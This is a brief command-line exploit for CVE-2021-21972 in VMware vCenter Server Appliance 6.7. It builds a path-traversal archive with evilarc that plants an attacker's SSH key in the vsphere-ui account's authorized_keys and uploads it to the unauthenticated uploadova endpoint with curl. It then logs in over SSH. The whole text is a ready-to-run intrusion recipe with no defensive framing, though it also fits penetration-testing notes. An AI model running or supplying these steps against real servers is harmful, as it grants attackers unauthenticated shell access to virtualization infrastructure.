CVE-2021-21972
Tested against VMware VCSA 6.7
ssh-keygen -t rsa -f vcsa.key -N ''
python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova
curl -k -A "" --form "[email protected];type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"
ssh -i vcsa.key vsphere-ui@$VCSA_IP